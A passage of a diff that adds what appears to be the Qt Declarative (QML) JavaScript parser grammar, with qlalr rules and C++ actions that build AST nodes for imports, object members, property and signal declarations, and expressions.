+
+UiImport: UiImportHead T_NUMERIC_LITERAL T_AS JsIdentifier T_AUTOMATIC_SEMICOLON ;
+UiImport: UiImportHead T_NUMERIC_LITERAL T_AS JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ sym(1).UiImport->versionToken = loc(2);
+ sym(1).UiImport->asToken = loc(3);
+ sym(1).UiImport->importIdToken = loc(4);
+ sym(1).UiImport->importId = sym(4).sval;
+ sym(1).UiImport->semicolonToken = loc(5);
+} break;
+./
+
+UiImport: UiImportHead T_AS JsIdentifier T_AUTOMATIC_SEMICOLON ;
+UiImport: UiImportHead T_AS JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ sym(1).UiImport->asToken = loc(2);
+ sym(1).UiImport->importIdToken = loc(3);
+ sym(1).UiImport->importId = sym(3).sval;
+ sym(1).UiImport->semicolonToken = loc(4);
+} break;
+./
+
+
+UiImportHead: T_IMPORT ImportId ;
+/.
+case $rule_number: {
+ AST::UiImport *node = 0;
+
+ if (AST::StringLiteral *importIdLiteral = AST::cast<AST::StringLiteral *>(sym(2).Expression)) {
+ node = makeAstNode<AST::UiImport>(driver->nodePool(), importIdLiteral->value);
+ node->fileNameToken = loc(2);
+ } else if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(2).Expression)) {
+ node = makeAstNode<AST::UiImport>(driver->nodePool(), qualifiedId);
+ node->fileNameToken = loc(2);
+ }
+
+ sym(1).Node = node;
+
+ if (node) {
+ node->importToken = loc(1);
+ } else {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1),
+ QLatin1String("Expected a qualified name id or a string literal")));
+
+ return false; // ### remove me
+ }
+} break;
+./
+
+Empty: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+UiRootMember: UiObjectDefinition ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiObjectMemberList> (driver->nodePool(), sym(1).UiObjectMember);
+} break;
+./
+
+UiObjectMemberList: UiObjectMember ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiObjectMemberList> (driver->nodePool(), sym(1).UiObjectMember);
+} break;
+./
+
+UiObjectMemberList: UiObjectMemberList UiObjectMember ;
+/.
+case $rule_number: {
+ AST::UiObjectMemberList *node = makeAstNode<AST:: UiObjectMemberList> (driver->nodePool(),
+ sym(1).UiObjectMemberList, sym(2).UiObjectMember);
+ sym(1).Node = node;
+} break;
+./
+
+UiArrayMemberList: UiObjectDefinition ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiArrayMemberList> (driver->nodePool(), sym(1).UiObjectMember);
+} break;
+./
+
+UiArrayMemberList: UiArrayMemberList T_COMMA UiObjectDefinition ;
+/.
+case $rule_number: {
+ AST::UiArrayMemberList *node = makeAstNode<AST::UiArrayMemberList> (driver->nodePool(),
+ sym(1).UiArrayMemberList, sym(3).UiObjectMember);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectInitializer: T_LBRACE T_RBRACE ;
+/.
+case $rule_number: {
+ AST::UiObjectInitializer *node = makeAstNode<AST::UiObjectInitializer> (driver->nodePool(), (AST::UiObjectMemberList*)0);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectInitializer: T_LBRACE UiObjectMemberList T_RBRACE ;
+/.
+case $rule_number: {
+ AST::UiObjectInitializer *node = makeAstNode<AST::UiObjectInitializer> (driver->nodePool(), sym(2).UiObjectMemberList->finish());
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectDefinition: UiQualifiedId UiObjectInitializer ;
+/.
+case $rule_number: {
+ AST::UiObjectDefinition *node = makeAstNode<AST::UiObjectDefinition> (driver->nodePool(), sym(1).UiQualifiedId,
+ sym(2).UiObjectInitializer);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: UiObjectDefinition ;
+
+UiObjectMember: UiQualifiedId T_COLON T_LBRACKET UiArrayMemberList T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::UiArrayBinding *node = makeAstNode<AST::UiArrayBinding> (driver->nodePool(),
+ sym(1).UiQualifiedId, sym(4).UiArrayMemberList->finish());
+ node->colonToken = loc(2);
+ node->lbracketToken = loc(3);
+ node->rbracketToken = loc(5);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: UiQualifiedId T_COLON UiQualifiedId UiObjectInitializer ;
+/.
+case $rule_number: {
+ AST::UiObjectBinding *node = makeAstNode<AST::UiObjectBinding> (driver->nodePool(),
+ sym(1).UiQualifiedId, sym(3).UiQualifiedId, sym(4).UiObjectInitializer);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: UiQualifiedId T_ON UiQualifiedId UiObjectInitializer ;
+/.
+case $rule_number: {
+ AST::UiObjectBinding *node = makeAstNode<AST::UiObjectBinding> (driver->nodePool(),
+ sym(3).UiQualifiedId, sym(1).UiQualifiedId, sym(4).UiObjectInitializer);
+ node->colonToken = loc(2);
+ node->hasOnToken = true;
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: UiQualifiedId T_COLON Block ;
+/.case $rule_number:./
+
+UiObjectMember: UiQualifiedId T_COLON EmptyStatement ;
+/.case $rule_number:./
+
+UiObjectMember: UiQualifiedId T_COLON ExpressionStatement ;
+/.case $rule_number:./
+
+UiObjectMember: UiQualifiedId T_COLON IfStatement ; --- ### do we really want if statement in a binding?
+/.case $rule_number:./
+
+/.
+{
+ AST::UiScriptBinding *node = makeAstNode<AST::UiScriptBinding> (driver->nodePool(),
+ sym(1).UiQualifiedId, sym(3).Statement);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+UiPropertyType: T_VAR ;
+/.
+case $rule_number:
+./
+UiPropertyType: T_RESERVED_WORD ;
+/.
+case $rule_number: {
+ sym(1).sval = driver->intern(lexer->characterBuffer(), lexer->characterCount());
+ break;
+}
+./
+
+UiPropertyType: T_IDENTIFIER ;
+
+UiParameterListOpt: ;
+/.
+case $rule_number: {
+ sym(1).Node = 0;
+} break;
+./
+
+UiParameterListOpt: UiParameterList ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(1).UiParameterList->finish ();
+} break;
+./
+
+UiParameterList: UiPropertyType JsIdentifier ;
+/.
+case $rule_number: {
+ AST::UiParameterList *node = makeAstNode<AST::UiParameterList> (driver->nodePool(), sym(1).sval, sym(2).sval);
+ node->identifierToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+UiParameterList: UiParameterList T_COMMA UiPropertyType JsIdentifier ;
+/.
+case $rule_number: {
+ AST::UiParameterList *node = makeAstNode<AST::UiParameterList> (driver->nodePool(), sym(1).UiParameterList, sym(3).sval, sym(4).sval);
+ node->commaToken = loc(2);
+ node->identifierToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_SIGNAL T_IDENTIFIER T_LPAREN UiParameterListOpt T_RPAREN T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_SIGNAL T_IDENTIFIER T_LPAREN UiParameterListOpt T_RPAREN T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), (NameId *)0, sym(2).sval);
+ node->type = AST::UiPublicMember::Signal;
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(2);
+ node->parameters = sym(4).UiParameterList;
+ node->semicolonToken = loc(6);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_SIGNAL T_IDENTIFIER T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_SIGNAL T_IDENTIFIER T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), (NameId *)0, sym(2).sval);
+ node->type = AST::UiPublicMember::Signal;
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(2);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_PROPERTY T_IDENTIFIER T_LT UiPropertyType T_GT JsIdentifier T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_PROPERTY T_IDENTIFIER T_LT UiPropertyType T_GT JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(4).sval, sym(6).sval);
+ node->typeModifier = sym(2).sval;
+ node->propertyToken = loc(1);
+ node->typeModifierToken = loc(2);
+ node->typeToken = loc(4);
+ node->identifierToken = loc(6);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_PROPERTY UiPropertyType JsIdentifier T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_PROPERTY UiPropertyType JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(2).sval, sym(3).sval);
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(3);
+ node->semicolonToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_DEFAULT T_PROPERTY UiPropertyType JsIdentifier T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_DEFAULT T_PROPERTY UiPropertyType JsIdentifier T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(3).sval, sym(4).sval);
+ node->isDefaultMember = true;
+ node->defaultToken = loc(1);
+ node->propertyToken = loc(2);
+ node->typeToken = loc(3);
+ node->identifierToken = loc(4);
+ node->semicolonToken = loc(5);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_PROPERTY UiPropertyType JsIdentifier T_COLON Expression T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_PROPERTY UiPropertyType JsIdentifier T_COLON Expression T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(2).sval, sym(3).sval,
+ sym(5).Expression);
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(3);
+ node->colonToken = loc(4);
+ node->semicolonToken = loc(6);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_READONLY T_PROPERTY UiPropertyType JsIdentifier T_COLON Expression T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_READONLY T_PROPERTY UiPropertyType JsIdentifier T_COLON Expression T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(3).sval, sym(4).sval,
+ sym(6).Expression);
+ node->isReadonlyMember = true;
+ node->readonlyToken = loc(1);
+ node->propertyToken = loc(2);
+ node->typeToken = loc(3);
+ node->identifierToken = loc(4);
+ node->colonToken = loc(5);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_DEFAULT T_PROPERTY UiPropertyType JsIdentifier T_COLON Expression T_AUTOMATIC_SEMICOLON ;
+UiObjectMember: T_DEFAULT T_PROPERTY UiPropertyType JsIdentifier T_COLON Expression T_SEMICOLON ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(3).sval, sym(4).sval,
+ sym(6).Expression);
+ node->isDefaultMember = true;
+ node->defaultToken = loc(1);
+ node->propertyToken = loc(2);
+ node->typeToken = loc(3);
+ node->identifierToken = loc(4);
+ node->colonToken = loc(5);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_PROPERTY T_IDENTIFIER T_LT UiPropertyType T_GT JsIdentifier T_COLON T_LBRACKET UiArrayMemberList T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(4).sval, sym(6).sval);
+ node->typeModifier = sym(2).sval;
+ node->propertyToken = loc(1);
+ node->typeModifierToken = loc(2);
+ node->typeToken = loc(4);
+ node->identifierToken = loc(6);
+ node->semicolonToken = loc(7); // insert a fake ';' before ':'
+
+ AST::UiQualifiedId *propertyName = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), sym(6).sval);
+ propertyName->identifierToken = loc(6);
+ propertyName->next = 0;
+
+ AST::UiArrayBinding *binding = makeAstNode<AST::UiArrayBinding> (driver->nodePool(),
+ propertyName, sym(9).UiArrayMemberList->finish());
+ binding->colonToken = loc(7);
+ binding->lbracketToken = loc(8);
+ binding->rbracketToken = loc(10);
+
+ node->binding = binding;
+
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: T_PROPERTY UiPropertyType JsIdentifier T_COLON UiQualifiedId UiObjectInitializer ;
+/.
+case $rule_number: {
+ AST::UiPublicMember *node = makeAstNode<AST::UiPublicMember> (driver->nodePool(), sym(2).sval, sym(3).sval);
+ node->propertyToken = loc(1);
+ node->typeToken = loc(2);
+ node->identifierToken = loc(3);
+ node->semicolonToken = loc(4); // insert a fake ';' before ':'
+
+ AST::UiQualifiedId *propertyName = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), sym(3).sval);
+ propertyName->identifierToken = loc(3);
+ propertyName->next = 0;
+
+ AST::UiObjectBinding *binding = makeAstNode<AST::UiObjectBinding> (driver->nodePool(),
+ propertyName, sym(5).UiQualifiedId, sym(6).UiObjectInitializer);
+ binding->colonToken = loc(4);
+
+ node->binding = binding;
+
+ sym(1).Node = node;
+} break;
+./
+
+UiObjectMember: FunctionDeclaration ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiSourceElement>(driver->nodePool(), sym(1).Node);
+} break;
+./
+
+UiObjectMember: VariableStatement ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiSourceElement>(driver->nodePool(), sym(1).Node);
+} break;
+./
+
+JsIdentifier: T_IDENTIFIER;
+
+JsIdentifier: T_PROPERTY ;
+/.
+case $rule_number: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_PROPERTY]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+./
+
+JsIdentifier: T_SIGNAL ;
+/.
+case $rule_number: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_SIGNAL]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+./
+
+JsIdentifier: T_READONLY ;
+/.
+case $rule_number: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_READONLY]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+./
+
+JsIdentifier: T_ON ;
+/.
+case $rule_number: {
+ QString s = QLatin1String(QDeclarativeJSGrammar::spell[T_ON]);
+ sym(1).sval = driver->intern(s.constData(), s.length());
+ break;
+}
+./
+
+--------------------------------------------------------------------------------------------------------
+-- Expressions
+--------------------------------------------------------------------------------------------------------
+
+PrimaryExpression: T_THIS ;
+/.
+case $rule_number: {
+ AST::ThisExpression *node = makeAstNode<AST::ThisExpression> (driver->nodePool());
+ node->thisToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: JsIdentifier ;
+/.
+case $rule_number: {
+ AST::IdentifierExpression *node = makeAstNode<AST::IdentifierExpression> (driver->nodePool(), sym(1).sval);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_NULL ;
+/.
+case $rule_number: {
+ AST::NullExpression *node = makeAstNode<AST::NullExpression> (driver->nodePool());
+ node->nullToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_TRUE ;
+/.
+case $rule_number: {
+ AST::TrueLiteral *node = makeAstNode<AST::TrueLiteral> (driver->nodePool());
+ node->trueToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_FALSE ;
+/.
+case $rule_number: {
+ AST::FalseLiteral *node = makeAstNode<AST::FalseLiteral> (driver->nodePool());
+ node->falseToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_NUMERIC_LITERAL ;
+/.
+case $rule_number: {
+ AST::NumericLiteral *node = makeAstNode<AST::NumericLiteral> (driver->nodePool(), sym(1).dval);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_MULTILINE_STRING_LITERAL ;
+/.case $rule_number:./
+
+PrimaryExpression: T_STRING_LITERAL ;
+/.
+case $rule_number: {
+ AST::StringLiteral *node = makeAstNode<AST::StringLiteral> (driver->nodePool(), sym(1).sval);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_DIVIDE_ ;
+/:
+#define J_SCRIPT_REGEXPLITERAL_RULE1 $rule_number
+:/
+/.
+case $rule_number: {
+ bool rx = lexer->scanRegExp(Lexer::NoPrefix);
+ if (!rx) {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage()));
+ return false; // ### remove me
+ }
+
+ loc(1).length = lexer->tokenLength();
+
+ AST::RegExpLiteral *node = makeAstNode<AST::RegExpLiteral> (driver->nodePool(), lexer->pattern, lexer->flags);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_DIVIDE_EQ ;
+/:
+#define J_SCRIPT_REGEXPLITERAL_RULE2 $rule_number
+:/
+/.
+case $rule_number: {
+ bool rx = lexer->scanRegExp(Lexer::EqualPrefix);
+ if (!rx) {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage()));
+ return false;
+ }
+
+ loc(1).length = lexer->tokenLength();
+
+ AST::RegExpLiteral *node = makeAstNode<AST::RegExpLiteral> (driver->nodePool(), lexer->pattern, lexer->flags);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LBRACKET T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), (AST::Elision *) 0);
+ node->lbracketToken = loc(1);
+ node->rbracketToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LBRACKET Elision T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).Elision->finish());
+ node->lbracketToken = loc(1);
+ node->rbracketToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LBRACKET ElementList T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).ElementList->finish ());
+ node->lbracketToken = loc(1);
+ node->rbracketToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LBRACKET ElementList T_COMMA T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).ElementList->finish (),
+ (AST::Elision *) 0);
+ node->lbracketToken = loc(1);
+ node->commaToken = loc(3);
+ node->rbracketToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LBRACKET ElementList T_COMMA Elision T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).ElementList->finish (),
+ sym(4).Elision->finish());
+ node->lbracketToken = loc(1);
+ node->commaToken = loc(3);
+ node->rbracketToken = loc(5);
+ sym(1).Node = node;
+} break;
+./
+
+-- PrimaryExpression: T_LBRACE T_RBRACE ;
+-- /.
+-- case $rule_number: {
+-- sym(1).Node = makeAstNode<AST::ObjectLiteral> (driver->nodePool());
+-- } break;
+-- ./
+
+PrimaryExpression: T_LBRACE PropertyNameAndValueListOpt T_RBRACE ;
+/.
+case $rule_number: {
+ AST::ObjectLiteral *node = 0;
+ if (sym(2).Node)
+ node = makeAstNode<AST::ObjectLiteral> (driver->nodePool(),
+ sym(2).PropertyNameAndValueList->finish ());
+ else
+ node = makeAstNode<AST::ObjectLiteral> (driver->nodePool());
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LBRACE PropertyNameAndValueList T_COMMA T_RBRACE ;
+/.
+case $rule_number: {
+ AST::ObjectLiteral *node = makeAstNode<AST::ObjectLiteral> (driver->nodePool(),
+ sym(2).PropertyNameAndValueList->finish ());
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+PrimaryExpression: T_LPAREN Expression T_RPAREN ;
+/.
+case $rule_number: {
+ AST::NestedExpression *node = makeAstNode<AST::NestedExpression>(driver->nodePool(), sym(2).Expression);
+ node->lparenToken = loc(1);
+ node->rparenToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+UiQualifiedId: MemberExpression ;
+/.
+case $rule_number: {
+ if (AST::ArrayMemberExpression *mem = AST::cast<AST::ArrayMemberExpression *>(sym(1).Expression)) {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Warning, mem->lbracketToken,
+ QLatin1String("Ignored annotation")));
+
+ sym(1).Expression = mem->base;
+ }
+
+ if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(1).Expression)) {
+ sym(1).UiQualifiedId = qualifiedId;
+ } else {
+ sym(1).UiQualifiedId = 0;
+
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1),
+ QLatin1String("Expected a qualified name id")));
+
+ return false; // ### recover
+ }
+} break;
+./
+
+ElementList: AssignmentExpression ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::ElementList> (driver->nodePool(), (AST::Elision *) 0, sym(1).Expression);
+} break;
+./
+
+ElementList: Elision AssignmentExpression ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::ElementList> (driver->nodePool(), sym(1).Elision->finish(), sym(2).Expression);
+} break;
+./
+
+ElementList: ElementList T_COMMA AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::ElementList *node = makeAstNode<AST::ElementList> (driver->nodePool(), sym(1).ElementList,
+ (AST::Elision *) 0, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+ElementList: ElementList T_COMMA Elision AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::ElementList *node = makeAstNode<AST::ElementList> (driver->nodePool(), sym(1).ElementList, sym(3).Elision->finish(),
+ sym(4).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+Elision: T_COMMA ;
+/.
+case $rule_number: {
+ AST::Elision *node = makeAstNode<AST::Elision> (driver->nodePool());
+ node->commaToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+Elision: Elision T_COMMA ;
+/.
+case $rule_number: {
+ AST::Elision *node = makeAstNode<AST::Elision> (driver->nodePool(), sym(1).Elision);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyNameAndValueList: PropertyName T_COLON AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::PropertyNameAndValueList *node = makeAstNode<AST::PropertyNameAndValueList> (driver->nodePool(),
+ sym(1).PropertyName, sym(3).Expression);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyNameAndValueList: PropertyNameAndValueList T_COMMA PropertyName T_COLON AssignmentExpression ;
+/.
+case $rule_number: {
+ AST::PropertyNameAndValueList *node = makeAstNode<AST::PropertyNameAndValueList> (driver->nodePool(),
+ sym(1).PropertyNameAndValueList, sym(3).PropertyName, sym(5).Expression);
+ node->commaToken = loc(2);
+ node->colonToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyName: T_IDENTIFIER %prec SHIFT_THERE ;
+/.
+case $rule_number: {
+ AST::IdentifierPropertyName *node = makeAstNode<AST::IdentifierPropertyName> (driver->nodePool(), sym(1).sval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyName: T_SIGNAL ;
+/.case $rule_number:./
+
+PropertyName: T_PROPERTY ;
+/.
+case $rule_number: {
+ AST::IdentifierPropertyName *node = makeAstNode<AST::IdentifierPropertyName> (driver->nodePool(), driver->intern(lexer->characterBuffer(), lexer->characterCount()));
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyName: T_STRING_LITERAL ;
+/.
+case $rule_number: {
+ AST::StringLiteralPropertyName *node = makeAstNode<AST::StringLiteralPropertyName> (driver->nodePool(), sym(1).sval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyName: T_NUMERIC_LITERAL ;
+/.
+case $rule_number: {
+ AST::NumericLiteralPropertyName *node = makeAstNode<AST::NumericLiteralPropertyName> (driver->nodePool(), sym(1).dval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+PropertyName: ReservedIdentifier ;
+/.
+case $rule_number: {
+ AST::IdentifierPropertyName *node = makeAstNode<AST::IdentifierPropertyName> (driver->nodePool(), sym(1).sval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+ReservedIdentifier: T_BREAK ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_CASE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_CATCH ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_CONTINUE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_DEFAULT ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_DELETE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_DO ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_ELSE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_FALSE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_FINALLY ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_FOR ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_FUNCTION ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_IF ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_IN ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_INSTANCEOF ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_NEW ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_NULL ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_RETURN ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_SWITCH ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_THIS ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_THROW ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_TRUE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_TRY ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_TYPEOF ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_VAR ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_VOID ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_WHILE ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_CONST ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_DEBUGGER ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_RESERVED_WORD ;
+/.
+case $rule_number:
+./
+ReservedIdentifier: T_WITH ;
+/.
+case $rule_number:
+{
+ sym(1).sval = driver->intern(lexer->characterBuffer(), lexer->characterCount());
+} break;
+./
+
+PropertyIdentifier: JsIdentifier ;
+PropertyIdentifier: ReservedIdentifier ;
+
+MemberExpression: PrimaryExpression ;
+MemberExpression: FunctionExpression ;
+
+MemberExpression: MemberExpression T_LBRACKET Expression T_RBRACKET ;
+/.
+case $rule_number: {
+ AST::ArrayMemberExpression *node = makeAstNode<AST::ArrayMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->lbracketToken = loc(2);
+ node->rbracketToken = loc(4);
+ sym(1).Node = node;
+} break;
+./
+
+MemberExpression: MemberExpression T_DOT PropertyIdentifier ;
+/.
+case $rule_number: {
+ AST::FieldMemberExpression *node = makeAstNode<AST::FieldMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).sval);
+ node->dotToken = loc(2);
+ node->identifierToken = loc(3);
+ sym(1).Node = node;
+} break;
+./
+
+MemberExpression: T_NEW MemberExpression T_LPAREN ArgumentListOpt T_RPAREN ;
+/.
+case $rule_number: {
+ AST::NewMemberExpression *node = makeAstNode<AST::NewMemberExpression> (driver->nodePool(), sym(2).Expression, sym(4).ArgumentList);
+ node->newToken = loc(1);
+ node->lparenToken = loc(3);
+ node->rparenToken = loc(5);
+ sym(1).Node = node;
+} break;
+./
+
+NewExpression: MemberExpression ;
+
+NewExpression: T_NEW NewExpression ;
+/.
+case $rule_number: {
+ AST::NewExpression *node = makeAstNode<AST::NewExpression> (driver->nodePool(), sym(2).Expression);
+ node->newToken = loc(1);
+ sym(1).Node = node;
+} break;
+./
+
+CallExpression: MemberExpression T_LPAREN ArgumentListOpt T_RPAREN ;
+/.
+case $rule_number: {
+ AST::CallExpression *node = makeAstNode<AST::CallExpression> (driver->nodePool(), sym(1).Expression, sym(3).ArgumentList);
+ node->lparenToken = loc(2);
